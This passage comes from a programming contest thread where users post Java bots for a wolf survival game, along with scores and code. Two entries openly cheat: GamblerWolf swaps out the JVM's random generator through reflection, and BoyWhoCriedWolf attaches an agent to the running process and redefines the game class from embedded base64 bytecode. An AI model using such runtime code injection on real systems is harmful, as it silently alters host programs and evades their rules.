Wolf 4 AlphaWolf 89 CamperWolf 81 DeepWolf 96 EmoWolf 57 GatheringWolf 65 HerjanWolf 95 HonorWolf 97 HybridWolf 95 LazyWolf 83 LionHunterWolf 41 MimicWolf 3 MOSHPITFRENZYWolf 22 OmegaWolf 95 ProAlpha 91 Sheep 66 StoneEatingWolf 88 WolfWithoutFear 18 Mins: Bear 0 Lion 0 Stone 0 Wolf 0 AlphaWolf 65 CamperWolf 57 DeepWolf 83 EmoWolf 26 GatheringWolf 37 HerjanWolf 79 HonorWolf 79 HybridWolf 79 LazyWolf 58 LionHunterWolf 20 MimicWolf 0 MOSHPITFRENZYWolf 1 OmegaWolf 81 ProAlpha 70 Sheep 43 StoneEatingWolf 66 WolfWithoutFear 5 ``` DeepWolf is in first place with an average of 90.48, although only with a narrow lead of about 2 more than the second place OmegaWolf's 88.67. About 4x the lines of code for only a 2% improvement! HerjanWolf, HonorWolf, and HybridWolf vie for third place, trailing OmegaWolf by about 2 more with very close 86.55, 86.76, and 86.78 averages, respectively. Without further ado, I'll present the code. It's so massive that there are likely errors and/or potential for improved constants/logic that I haven't been able to see. If you have any feedback, let me know! Code at this link, because it turns out to blow the post character limit: [Ideone](http://ideone.com/uRNxvj) [Answer] ## Gambler Wolf Gambler Wolf likes to take chances so he behaves erratically hoping Lady Luck is on his side! Fortunately for him, she never lets him down! By perpetual strokes of luck, Gambler Wolf clears the field of all non-wolf obstacles with unbelievable few causalities! ``` package animals; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Random; public class GamblerWolf extends Animal { private static int last = 0; public GamblerWolf() { super('W'); gamble(); } public Attack fight(char opponent) { switch (opponent) { case 'S': return Attack.ROCK; /* Camo Wolf? */ case 'B': return Attack.SCISSORS; case 'L': return Attack.SCISSORS; default: return attackWolf(); } } public Move move() { ArrayList<Move> moves = (ArrayList<Move>) Arrays.asList(Move.values()); Collections.shuffle(moves); for(Move move : moves) if(isThreatenedBy(move)) return moveToEvade(move); return Move.HOLD; } /* Remember, Gamblers Don't Gamble */ @SuppressWarnings("serial") private static void gamble() { try { Field field = Math.class.getDeclaredField("randomNumberGenerator"); field.setAccessible(true); field.set(null, new Random() { @Override public double nextDouble() { return 4; // chosen by fair dice roll } // guaranteed to be random }); // proof: http://xkcd.com/221/ } catch (SecurityException e) {} catch (NoSuchFieldException e) {} catch (IllegalArgumentException e) {} catch (IllegalAccessException e) {} } private static Attack attackWolf() { return Attack.values()[last++ % 3]; } private boolean isThreatenedBy(Move move) { return isWolf(move) || isStone(move); } private Move moveToEvade(Move move) { if(isSafeMove(getOpposite(move))) return getOpposite(move); ArrayList<Move> moves = (ArrayList<Move>) Arrays.asList(getOrthogonal(move)); Collections.shuffle(moves); for(Move m : moves) if(isSafeMove(m)) return m; return Move.HOLD; } private static Move[] getOrthogonal(Move move) { switch(move){ case UP: case DOWN: return new Move[] { Move.LEFT, Move.RIGHT }; case LEFT: case RIGHT: return new Move[] { Move.UP, Move.DOWN }; default: return null; } } private static Move getOpposite(Move move) { switch(move){ case UP: return Move.DOWN; case DOWN: return Move.UP; case LEFT: return Move.RIGHT; case RIGHT: return Move.LEFT; default: return null; } } private boolean isSafeMove(Move move) { return !isWolf(move) && !isStone(move) && !couldAWolfMoveHere(move); } private boolean isWolf(Move move) { return isX(move,'W'); } private boolean isStone(Move move) { return isX(move,'S'); } private boolean isX(Move m, char c) { switch (m) { case UP: return surroundings[0][1] == c; case LEFT: return surroundings[1][0] == c; case RIGHT: return surroundings[1][2] == c; case DOWN: return surroundings[2][1] == c; default: return false; } } private boolean couldAWolfMoveHere(Move move) { switch (move) { case UP: return surroundings[0][2] == 'W' || surroundings[0][0] == 'W'; case LEFT: return surroundings[2][0] == 'W' || surroundings[0][0] == 'W'; case RIGHT: return surroundings[0][2] == 'W' || surroundings[2][2] == 'W'; case DOWN: return surroundings[2][0] == 'W' || surroundings[2][2] == 'W'; default: return false; } } } ``` **Edit: v1.1** * Now avoids Stones (Camo-Wolves?) * Increased Randomness! [Answer] # CamperWolf The goal is to survive. As many of the other wolves run away from wolves, mine just stays where it is and fights all animals (even rocks, if cheating would be allowed). ``` package animals; public class CamperWolf extends Animal { public CamperWolf() { super('W'); } @Override public Attack fight(char opponent) { switch(opponent){ case 'B': case 'L': return Attack.SCISSORS; case 'S': return Attack.ROCK; default: return Attack.values()[(int) (Math.random() * 3)]; } } @Override public Move move() { return Move.HOLD; } } ``` I expect it to perform very good, as many other wolves run away from wolves and this type of wolve can only die against other wolves. [Answer] ## WolfRunningWithScissors Nobody told WolfRunningWithScissors not to run with scissors. Or maybe they did but he does it anyway. If he runs into an enemy he'll either win with scissors, lose with scissors, tie with scissors, or poke his eye out (suicide). ``` package animals; import java.util.ArrayList; import java.util.Collections; import java.util.List; public class WolfRunningWithScissors extends Animal{ public WolfRunningWithScissors() { super('W'); } @Override public Attack fight(char c) { List<Attack> att = new ArrayList<>(); att.add(Attack.SCISSORS); att.add(Attack.SUICIDE); Collections.shuffle(att); return att.get(0); } @Override public Move move() { List<Move> m = new ArrayList<>(); m.add(Move.UP); m.add(Move.DOWN); m.add(Move.LEFT); m.add(Move.RIGHT); Collections.shuffle(m); return m.get(0); } } ``` Just wanted to make a submission for fun. I've never used Java before and haven't tested this, but it should work. My random attack and moving code is based on `getRandomAttack()` from StoneEatingWolf. [Answer] Is it a boy? Is it a wolf? No, it's the # BoyWhoCriedWolf.java People are using reflection all over the place, so I figured, why not take it a step further? I present you: the wolf that cannot lose. ``` package animals; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.lang.instrument.ClassDefinition; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.lang.management.ManagementFactory; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.jar.Attributes; import java.util.jar.JarOutputStream; import java.util.jar.Manifest; import javax.xml.bind.DatatypeConverter; public class BoyWhoCriedWolf extends Animal { private static boolean ranAgent; public static void installAgent() { try { ranAgent = true; String javaExec = new File(System.getProperty("java.home"), "bin").getAbsolutePath() + File.separator + "java"; Process proc = new ProcessBuilder(javaExec, "-cp", System.getProperty("java.class.path"), "animals.BoyWhoCriedWolf", ManagementFactory.getRuntimeMXBean().getName().split("@")[0]) .inheritIO().start(); proc.waitFor(); } catch (InterruptedException | IOException e) { e.printStackTrace(); } } public BoyWhoCriedWolf() { super('W'); if (!ranAgent) { installAgent(); } } @Override public Attack fight(char c) { return Attack.PAPER; // I like paper, it's my rubber duck. } @Override public Move move() { return Move.HOLD; // I'm terribly lazy. } public static void main(String[] args) { try { File temp = File.createTempFile("agent-", ".jar"); temp.deleteOnExit(); Manifest manifest = new Manifest(); manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0"); manifest.getMainAttributes().put(new Attributes.Name("Agent-Class"), "animals.BoyWhoCriedWolf"); manifest.getMainAttributes().put(new Attributes.Name("Can-Redefine-Classes"), "true"); JarOutputStream jos = new JarOutputStream(new FileOutputStream(temp), manifest); jos.close(); // Add tools.jar Method addURL = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); addURL.setAccessible(true); addURL.invoke(ClassLoader.getSystemClassLoader(), new URL("file:" + System.getProperty("java.home") + "/../lib/tools.jar")); Class<?> virtualMachineClass = Class.forName("com.sun.tools.attach.VirtualMachine"); Object vm = virtualMachineClass.getDeclaredMethod("attach", String.class).invoke(null, args[0]); virtualMachineClass.getDeclaredMethod("loadAgent", String.class).invoke(vm, temp.getAbsolutePath()); virtualMachineClass.getDeclaredMethod("detach").invoke(vm); } catch (Exception e) { e.printStackTrace(); } } public static void agentmain(String args, Instrumentation instr) throws ClassNotFoundException, UnmodifiableClassException { instr.redefineClasses(new ClassDefinition(wild.Game.class, DatatypeConverter.parseBase64Binary(base64Game))); } private static final String base64Game = "yv66vgAAADMA9QoAOQCRBwCSCgACAJEJABIAkwkAEgCUBwCVCgAGAJEJABIAlgoABgCXCgAGAJgK" + "AAIAmQoABgCaCgCbAJwHAJ0HAJ4KABIAnwoAEgCgBwChCgASAKIHAKMKABIApAkAFAClCgAUAKYH" + "AKcJAGUAqAkAOgCpCgBlAKoKAAYAqwsArACtCwCsAK4KAAYArwcAsAoABgCxCQAUALIKABQAswkA" + "cQC0CgC1ALYGP+AAAAAAAAAJADoAtwoAcQCqCQBxALgJAHEAuQkAcQC6CgCbALsIALwHAL0KAC8A" + "kQoALwC+CAC/CgAvAMAKAC8AwQgAwggAwwgAxAcAjQcAxQcAxgEADElubmVyQ2xhc3NlcwEABWJv" + "YXJkAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAJU2lnbmF0dXJlAQBVTGphdmEvdXRpbC9BcnJh" + "eUxpc3Q8TGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvdXRpbC9BcnJheUxpc3Q8TGFuaW1hbHMv" + "QW5pbWFsOz47Pjs+OwEAA2dlbgEAEkxqYXZhL3V0aWwvUmFuZG9tOwEABFNJWkUBAAFJAQAGPGlu" + "aXQ+AQAEKEkpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUB" + "AAFqAQABaQEABHRoaXMBAAtMd2lsZC9HYW1lOwEABHNpemUBAA1TdGFja01hcFRhYmxlBwChAQAI" + "cG9wdWxhdGUBABUoTGphdmEvbGFuZy9DbGFzcztJKVYBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0" + "aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEAA3JvdwEAA2NvbAEAB3NwZWNpZXMBABFMamF2YS9sYW5n" + "L0NsYXNzOwEAA251bQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABZMamF2YS9sYW5nL0NsYXNz" + "PFRUOz47BwDHBwDIAQAuPFQ6TGFuaW1hbHMvQW5pbWFsOz4oTGphdmEvbGFuZy9DbGFzczxUVDs+" + "O0kpVgEAB2l0ZXJhdGUBAAMoKVYBAAdtb3ZlQWxsAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAB" + "YQEAEExhbmltYWxzL0FuaW1hbDsBAAVhTW92ZQcAyQEABE1vdmUBABVMYW5pbWFscy9BbmltYWwk" + "TW92ZTsBAARnYW1lBwCjBwCnBwDJAQAHZmxhdHRlbgEABXJhbmQxAQAFcmFuZDIBAAFiAQAFYVRh" + "Y2sHAMoBAAZBdHRhY2sBABdMYW5pbWFscy9BbmltYWwkQXR0YWNrOwEABWJUYWNrAQAEY2VsbAEA" + "J0xqYXZhL3V0aWwvQXJyYXlMaXN0PExhbmltYWxzL0FuaW1hbDs+OwEAPkxqYXZhL3V0aWwvQXJy" + "YXlMaXN0PExqYXZhL3V0aWwvQXJyYXlMaXN0PExhbmltYWxzL0FuaW1hbDs+Oz47BwDLBwCVBwDK" + "AQAEcG9sbAEAFChMamF2YS9sYW5nL0NsYXNzOylJAQABYwEABWNvdW50AQAIdG9TdHJpbmcBABQo" + "KUxqYXZhL2xhbmcvU3RyaW5nOwEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsHAMwBAAdnZXRBcmVh" + "AQAHKElJKVtbQwEABXRlbXAxAQAFdGVtcDIBAAV0ZW1wMwEABXRlbXA0AQABbAEAAWsBAARhcmVh" + "AQADW1tDBwDNAQAKU291cmNlRmlsZQEACUdhbWUuamF2YQwARABfAQAQamF2YS91dGlsL1JhbmRv" + "bQwAQABBDABCAEMBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA8AD0MAM4AzwwA0ADRDADSANMMANQA" + "1QcAxwwA1gDXAQAgamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb24BACBqYXZhL2xhbmcv" + "SWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgwAYABfDABsAF8BAAl3aWxkL0dhbWUMAEQARQEADmFuaW1h" + "bHMvQW5pbWFsDACEAIUMANgAjQwA2QDaAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA2wBnDADcAN0M" + "AN4A3wwA4ADhBwDLDADiANUMAOMA1wwATQDfAQAXYW5pbWFscy9Cb3lXaG9DcmllZFdvbGYMAOQA" + "zwwA5QDmDADnAOgMAOkAcwcA6gwA6wDsDADtAN0MAO4AcwwA7wBzDADwAHMMAPEAzwEABjxodG1s" + "PgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDADyAPMBAAwmbmJzcDsmbmJzcDsMAH8AgAwA8gD0" + "AQAGJm5ic3A7AQAEPGJyPgEABzwvaHRtbD4BABBqYXZhL2xhbmcvT2JqZWN0AQALd2lsZC9HYW1l" + "JDEBAA9qYXZhL2xhbmcvQ2xhc3MBACZqYXZhL2xhbmcvUmVmbGVjdGl2ZU9wZXJhdGlvbkV4Y2Vw" + "dGlvbgEAE2FuaW1hbHMvQW5pbWFsJE1vdmUBABVhbmltYWxzL0FuaW1hbCRBdHRhY2sBABJqYXZh" + "L3V0aWwvSXRlcmF0b3IBABBqYXZhL2xhbmcvU3RyaW5nAQACW0MBAANhZGQBABUoTGphdmEvbGFu" + "Zy9PYmplY3Q7KVoBAANnZXQBABUoSSlMamF2YS9sYW5nL09iamVjdDsBAAduZXh0SW50AQAEKEkp" + "SQEAB2lzRW1wdHkBAAMoKVoBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAM" + "c3Vycm91bmRpbmdzAQAEbW92ZQEAFygpTGFuaW1hbHMvQW5pbWFsJE1vdmU7AQAESE9MRAEAHiRT" + "d2l0Y2hNYXAkYW5pbWFscyRBbmltYWwkTW92ZQEAAltJAQAHb3JkaW5hbAEAAygpSQEACGl0ZXJh" + "dG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAARuZXh0AQAGcmVtb3ZlAQAG" + "bGV0dGVyAQABQwEABWZpZ2h0AQAaKEMpTGFuaW1hbHMvQW5pbWFsJEF0dGFjazsBAAdTVUlDSURF" + "AQAOamF2YS9sYW5nL01hdGgBAAZyYW5kb20BAAMoKUQBACAkU3dpdGNoTWFwJGFuaW1hbHMkQW5p" + "bWFsJEF0dGFjawEABVBBUEVSAQAIU0NJU1NPUlMBAARST0NLAQAKaXNJbnN0YW5jZQEABmFwcGVu" + "ZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAHChDKUxq" + "YXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQASADkAAAADAAIAPAA9AAEAPgAAAAIAPwASAEAAQQAA" + "ABQAQgBDAAAACAAEAEQARQABAEYAAADtAAMABAAAAF8qtwABKrsAAlm3AAO1AAQqG7UABSq7AAZZ" + "twAHtQAIAz0cG6IAOyq0AAi7AAZZtwAHtgAJVwM+HRuiAB8qtAAIHLYACsAABrsABlm3AAe2AAlX" + "hAMBp//ihAIBp//GsQAAAAMARwAAAC4ACwAAABEABAAOAA8AEgAUABMAHwAUACYAFQA1ABYAPAAX" + "AFIAFgBYABQAXgAaAEgAAAAqAAQANwAhAEkAQwADACEAPQBKAEMAAgAAAF8ASwBMAAAAAABfAE0A" + "QwABAE4AAAAYAAT/ACEAAwcATwEBAAD8ABUB+gAg+gAFAAQAUABRAAIARgAAARwAAgAGAAAAXRye" + "AFsqtAAEKrQABbYACz4qtAAEKrQABbYACzYEKrQACB22AArAAAYVBLYACsAABrYADJkAJiq0AAgd" + "tgAKwAAGFQS2AArAAAYrtgANtgAJV6cABToFhAL/p/+nsQACADYAUQBUAA4ANgBRAFQADwAEAEcA" + "AAAmAAkAAAAdAAQAHgAQAB8AHQAgADYAIQBRACIAVgAjAFkAJQBcACYASAAAAD4ABgBWAAAAUgBT" + "AAUAEABJAFQAQwADAB0APABVAEMABAAAAF0ASwBMAAAAAABdAFYAVwABAAAAXQBYAEMAAgBZAAAA" + "DAABAAAAXQBWAFoAAQBOAAAAGwAFAP8AUwAFBwBPBwBbAQEBAAEHAFwB+QACAgA+AAAAAgBdAAQA" + "XgBfAAEARgAAADsAAQABAAAACSq3ABAqtwARsQAAAAIARwAAAA4AAwAAACkABAAqAAgAKwBIAAAA" + "DAABAAAACQBLAEwAAAACAGAAXwABAEYAAAJjAAQABwAAAVu7ABJZKrQABbcAE0wDPRwqtAAFogE/" + "Az4dKrQABaIBLyq0AAgctgAKwAAGHbYACsAABrYADJoBESq0AAgctgAKwAAGHbYACsAABgO2AArA" + "ABQ6BBkEKhwdtwAVtQAWGQS2ABc6BacACjoGsgAZOgWyABoZBbYAGy6qAAAAAAAAzgAAAAEAAAAF" + "AAAAJAAAAEsAAABtAAAAjwAAALYrtAAIHARkKrQABWAqtAAFcLYACsAABh22AArAAAYZBLYACVen" + "AIYrtAAIHLYACsAABh0EYCq0AAVwtgAKwAAGGQS2AAlXpwBkK7QACBwEYCq0AAVwtgAKwAAGHbYA" + "CsAABhkEtgAJV6cAQiu0AAgctgAKwAAGHQRkKrQABWAqtAAFcLYACsAABhkEtgAJV6cAGyu0AAgc" + "tgAKwAAGHbYACsAABhkEtgAJV4QDAaf+z4QCAaf+vyortAAItQAIsQABAF4AZQBoABgAAwBHAAAA" + "WgAWAAAALgAMAC8AFgAwACAAMQA4ADIAUwAzAF4ANQBlADYAbwA3AJwAOQDAADoAwwA8AOIAPQDl" + "AD8BBABAAQcAQgErAEMBLgBFAUYAMAFMAC8BUgBLAVoATABIAAAAUgAIAGoABQBSAGEABgBTAPMA" + "YgBjAAQAZQADAGQAZwAFAG8A1wBkAGcABQAYATQASQBDAAMADgFEAEoAQwACAAABWwBLAEwAAAAM" + "AU8AaABMAAEATgAAADYADP0ADgcATwH8AAkB/wBPAAUHAE8HAE8BAQcAaQABBwBq/AAGBwBrLCYh" + "ISb5ABf6AAX6AAUAAgBsAF8AAQBGAAADuAAFAAwAAAFfKrQACLYAHEwruQAdAQCZAVAruQAeAQDA" + "AAZNLLYAHE4tuQAdAQCZATUtuQAeAQDAAAY6BBkEtgAfBKQBHiq0AAQZBLYAH7YACzYFKrQABBkE" + "tgAftgALNgYVBRUGn//uGQQVBbYACsAAFDoHGQQVBrYACsAAFDoIGQfBACCZAA4ZBBkItgAhV6f/" + "rBkIwQAgmQAOGQQZB7YAIVen/5kZBxkItAAitgAjOgmnAAo6C7IAJDoJGQgZB7QAIrYAIzoKpwAK" + "OguyACQ6ChkJGQqmAB0ZBLgAJRQAJpeeAAgZB6cABRkItgAhV6cAbbIAKBkJtgApLqoAAAAAAABh" + "AAAAAQAAAAMAAAAcAAAANAAAAEwZBBkKsgAqpgAIGQenAAUZCLYAIVenADAZBBkKsgArpgAIGQen" + "AAUZCLYAIVenABgZBBkKsgAspgAIGQenAAUZCLYAIVen/t+n/sin/q2xAAIAngCqAK0AGAC0AMAA" + "wwAYAAQARwAAAHYAHQAAAE8AGwBQADQAUQA9AFMASwBUAGAAVgBsAFcAeABZAIAAWgCIAFsAiwBc" + "AJMAXQCbAF4AngBiAKoAYwC0AGQAwABlAMoAZwDRAGgA6wBqARAAbAElAG0BKABvAT0AcAFAAHIB" + "VQB2AVgAdwFbAHgBXgB5AEgAAACEAA0ArwAFAFIAYQALAMUABQBSAGEACwBLAQoAbQBDAAUAWQD8" + "AG4AQwAGAGwA6QBiAGMABwB4AN0AbwBjAAgAqgADAHAAcwAJALQAoQBwAHMACQDAAAMAdABzAAoA" + "ygCLAHQAcwAKADQBJAB1AD0ABAAbAUAAVAA9AAIAAAFfAEsATAAAAFkAAAAWAAIANAEkAHUAdgAE" + "ABsBQABUAHcAAgBOAAABFQAa/AAIBwB4/QAXBwB5BwB4/AATBwB5/AAWAf4APwEHAGkHAGkSTgcA" + "avwABgcAek4HAGr8AAYHAHpXBwB5/wABAAsHAE8HAHgHAHkHAHgHAHkBAQcAaQcAaQcAegcAegAC" + "BwB5BwBpBiROBwB5/wABAAsHAE8HAHgHAHkHAHgHAHkBAQcAaQcAaQcAegcAegACBwB5BwBpBk4H" + "AHn/AAEACwcATwcAeAcAeQcAeAcAeQEBBwBpBwBpBwB6BwB6AAIHAHkHAGkGTgcAef8AAQALBwBP" + "BwB4BwB5BwB4BwB5AQEHAGkHAGkHAHoHAHoAAgcAeQcAaf8AAwAFBwBPBwB4BwB5BwB4BwB5AAD6" + "AAL5AAL6AAIABAB7AHwAAQBGAAABNgACAAkAAABvAz0qtAAItgAcTi25AB0BAJkAXS25AB4BAMAA" + "BjoEGQS2ABw6BRkFuQAdAQCZAD4ZBbkAHgEAwAAGOgYZBrYAHDoHGQe5AB0BAJkAHhkHuQAeAQDA" + "ABQ6CCsZCLYALZkABoQCAaf/3qf/vqf/oBysAAAABABHAAAAKgAKAAAAfAACAH0AHgB+ADsAfwBY" + "AIAAYQCBAGQAggBnAIMAagCEAG0AhQBIAAAAPgAGAFgADABiAGMACAA7ACwAdQA9AAYAHgBMAFQA" + "PQAEAAAAbwBLAEwAAAAAAG8AfQBXAAEAAgBtAH4AQwACAFkAAAAWAAIAOwAsAHUAdgAGAB4ATABU" + "AHcABABOAAAAJQAH/QAKAQcAeP0AGgcAeQcAeP0AHAcAeQcAeCH5AAL5AAL6AAIAAQB/AIAAAQBG" + "AAABWwADAAYAAACqEi5MKrQACLYAHE0suQAdAQCZAIUsuQAeAQDAAAZOLbYAHDoEGQS5AB0BAJkA" + "VBkEuQAeAQDAAAY6BRkFtgAMmQAauwAvWbcAMCu2ADESMrYAMbYAM0ynACa7AC9ZtwAwK7YAMRkF" + "A7YACsAAFLQAIrYANBI1tgAxtgAzTKf/qLsAL1m3ADArtgAxEja2ADG2ADNMp/94uwAvWbcAMCu2" + "ADESN7YAMbYAM7AAAAAEAEcAAAAqAAoAAACJAAMAigAeAIsAOgCMAEIAjQBZAI8AfACQAH8AkQCT" + "AJIAlgCTAEgAAAAqAAQAOgBCAHUAPQAFAB4AdQBUAD0AAwAAAKoASwBMAAAAAwCnAIEAggABAFkA" + "AAAWAAIAOgBCAHUAdgAFAB4AdQBUAHcAAwBOAAAAIwAG/QALBwCDBwB4/QAYBwB5BwB4/AA0BwB5" + "+gAi+gAC+QAWAAIAhACFAAEARgAAAdAABAALAAAApQYGxQA4Ak4CNgQVBASjAJYCNgUVBQSjAIcV" + "BARgNgYVBQRgNgcbFQRgKrQABWAqtAAFcDYIHBUFYCq0AAVgKrQABXA2CSq0AAgbFQRgKrQABWAq" + "tAAFcLYACsAABhwVBWAqtAAFYCq0AAVwtgAKwAAGOgotFQQEYDIVBQRgGQq2AAyZAAgQIKcADxkK" + "A7YACsAAFLQAIlWEBQGn/3mEBAGn/2otsAAAAAQARwAAADIADAAAAJcABwCYABAAmQAZAJoAHwCb" + "ACUAnAA1AJ0ARQCeAHMAnwCXAJkAnQCYAKMAogBIAAAAcAALAB8AeACGAEMABgAlAHIAhwBDAAcA" + "NQBiAIgAQwAIAEUAUgCJAEMACQBzACQAdQA9AAoAEwCKAIoAQwAFAAoAmQCLAEMABAAAAKUASwBM" + "AAAAAAClAEoAQwABAAAApQBJAEMAAgAHAJ4AjACNAAMAWQAAAAwAAQBzACQAdQB2AAoATgAAAFkA" + "Bv0ACgcAOAH8AAgB/wB2AAsHAE8BAQcAOAEBAQEBAQcAeQACBwCOAf8ACwALBwBPAQEHADgBAQEB" + "AQEHAHkAAwcAjgEB/wAGAAUHAE8BAQcAOAEAAPoABQACAI8AAAACAJAAOwAAABoAAwA6ABIAABAI" + "AGUAFABmQBkAcQAUAHJAGQ=="; } ``` Oh yeah, it does require a JDK to run, but I don't think that'll be a problem. [Answer] **Omega Wolf** Interdependently derived solution that behaves very similar to Alpha Wolf, hence the name Omega Wolf This wolf generates a "danger" map of the surrounding cells and will choose the movement (or hold) to the safest cell. The firstly the cells where lions will move next are given EXTREAME\_DANGER level. Then the cells surrounding any detected Wolves are given danger levels based on the immediacy of attack... i.e. if the wolf is diagonal to the omega wolf it is deemed a low threat however wolves that are adjacent are deemed a moderate threat. The "danger" map is then blurred to allow bleeding of the threats to surrounding cells. This allows the omega wolf to "sense" threat vectors and to avoid it. Currently the actual attack logic is very primitive. I hope to be able to give it more smarts and eek out better win/lose ratios. This should be possible if I put in some statistical heuristics. In my testing Omega Wolf conistantly wins against alpha bot 9 out of 10 times... though the margin is very fine :P quick results of the avg remaining living wolves after 100 rounds of 1000 iterations: ``` class animals.OmegaWolf - 85 class animals.HonorWolf - 82 class animals.ProAlpha - 79 class animals.AlphaWolf - 77 class animals.ShadowWolf - 77 class animals.LazyWolf - 62 class animals.CamperWolf - 61 class animals.StoneEatingWolf - 59 class animals.GatheringWolf - 48 class animals.Sheep - 42 class animals.EmoWolf - 34 class animals.LionHunterWolf - 28 class animals.GamblerWolf (no cheating) - 27 class animals.WolfWithoutFear - 11 class animals.MOSHPITFRENZYWolf - 5 class animals.Wolf - 3 class animals.Stone - 2 class animals.Bear - 0 class animals.Lion - 0 class animals.MimicWolf - 0 class animals.Wion - 0 ``` Code: ``` package animals; import wild.Wild; public class OmegaWolf extends Animal { boolean lionWillMoveDown=true; private static final int LOW_DANGER = 10; private static final int MODERATE_DANGER = LOW_DANGER*2; private static final int EXTREAME_DANGER = MODERATE_DANGER*4; private static final int UP=1; private static final int LEFT=3; private static final int RIGHT=5; private static final int DOWN=7; private static final int UP_LEFT=0; private static final int UP_RIGHT=2; private static final int DOWN_LEFT=6; private static final int DOWN_RIGHT=8; private static final int WOLVES_SPECIES_COUNT=(int) Math.round(Math.pow(((float) Wild.MAP_SIZE)/20,2)-3)-3; /* * Interdependently derived solution that behaves very similar to Alpha Wolf, hence the name Omega Wolf * * This wolf generates a "danger" map of the surrounding cells and will choose the movement (or hold) to the safest cell. * * The firstly the cells where lions will move next are given EXTREAME_DANGER level * Then the cells surrounding any detected Wolves are given danger levels based on the immediacy of attack... i.e. if the wolf is diagonal to the omega wolf * it is deemed a low threat however wolves that are adjacent are deemed a moderate threat. * The "danger" map is then blurred to allow bleeding of the threats to surrounding cells. This allows the omega wolf to "sense" threat vectors and to avoid it. * * Currently the actual attack logic is very primitive. I hope to be able to give it more smarts and eek out better win/lose ratios. This should be possible if * I put in some statistical heuristics. */ public OmegaWolf() { super('W'); } @Override public Attack fight(char opponent) { switch(opponent){ case 'B': case 'L': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: // if there is only one wolf species then it must be another omega wolf. if (WOLVES_SPECIES_COUNT==1) { return Attack.SCISSORS; } else { // lets just choose an attack with equal weight. double rand = Math.random(); if (rand < 0.333333) { return Attack.PAPER; } if (rand < 0.666667) { return Attack.SCISSORS; } return Attack.ROCK; } } } public Move move() { lionWillMoveDown = !lionWillMoveDown; Move move = Move.HOLD; int[][] dangerMap = new int[3][3]; int[][] blurredDangerMap = new int[3][3]; // sense Lion Danger for (int y=0;y<3;y++) { for (int x=0;x<3;x++) { if (surroundings[y][x]=='L') { if (lionWillMoveDown && y!=2) { dangerMap[y+1][x]+=EXTREAME_DANGER; } else if (x!=2) { dangerMap[y][x+1]+=EXTREAME_DANGER; } } } } // sense Wolf Danger adjacent // UP if (surroundings[0][1]=='W') { dangerMap[0][1]+=MODERATE_DANGER; dangerMap[0][0]+=LOW_DANGER; dangerMap[0][2]+=LOW_DANGER; dangerMap[1][1]+=MODERATE_DANGER; } // DOWN if (surroundings[2][1]=='W') { dangerMap[2][1]+=MODERATE_DANGER; dangerMap[2][0]+=LOW_DANGER; dangerMap[2][2]+=LOW_DANGER; dangerMap[1][1]+=MODERATE_DANGER; } // LEFT if (surroundings[1][0]=='W') { dangerMap[1][0]+=MODERATE_DANGER; dangerMap[0][0]+=LOW_DANGER; dangerMap[2][0]+=LOW_DANGER; dangerMap[1][1]+=MODERATE_DANGER; } // RIGHT if (surroundings[1][2]=='W') { dangerMap[1][2]+=MODERATE_DANGER; dangerMap[0][2]+=LOW_DANGER; dangerMap[2][2]+=LOW_DANGER; dangerMap[1][1]+=MODERATE_DANGER; } // sense Wolf Danger diagonally // UP_LEFT if (surroundings[0][0]=='W') { dangerMap[0][0]+=LOW_DANGER; dangerMap[0][1]+=MODERATE_DANGER; dangerMap[1][0]+=MODERATE_DANGER; } // DOWN_LEFT if (surroundings[2][0]=='W') { dangerMap[2][0]+=LOW_DANGER; dangerMap[2][1]+=MODERATE_DANGER; dangerMap[1][0]+=MODERATE_DANGER; } // UP_RIGHT if (surroundings[0][2]=='W') { dangerMap[0][2]+=LOW_DANGER; dangerMap[1][2]+=MODERATE_DANGER; dangerMap[0][1]+=MODERATE_DANGER; } // DOWN_RIGHT if (surroundings[2][2]=='W') { dangerMap[2][2]+=LOW_DANGER; dangerMap[2][1]+=MODERATE_DANGER; dangerMap[1][2]+=MODERATE_DANGER; } // generate a blurred danger map. This bleeds danger to surrounding cells. int yj,xi,sampleCount,cumulativeDanger; for (int y=0;y<3;y++) { for (int x=0;x<3;x++) { sampleCount=0; cumulativeDanger=0; for (int j=-1;j<2;j++) { for (int i=-1;i<2;i++) { yj=y+j; xi=x+i; if (yj>-1 && yj<3 && xi>-1 && xi<3) { cumulativeDanger+=dangerMap[yj][xi]; sampleCount++; } } } blurredDangerMap[y][x]=(dangerMap[y][x]+cumulativeDanger/sampleCount)/2; } } // find the safest cell int safestCellDanger=Integer.MAX_VALUE; int safestCellId = -1; int cellId=0; for (int y=0;y<3;y++) { for (int x=0;x<3;x++) { if (blurredDangerMap[y][x]<safestCellDanger) { safestCellDanger=blurredDangerMap[y][x]; safestCellId=cellId; } cellId++; } } // safest cell is adjacent so move there if ((safestCellId&1)==1) { switch (safestCellId) { case UP: move=Move.UP; break; case LEFT: move=Move.LEFT; break; case RIGHT: move=Move.RIGHT; break; case DOWN: move=Move.DOWN; break; } } // safestCell is a diagonal cell or current cell else { // lets initialise the move to Hold. move = Move.HOLD; switch 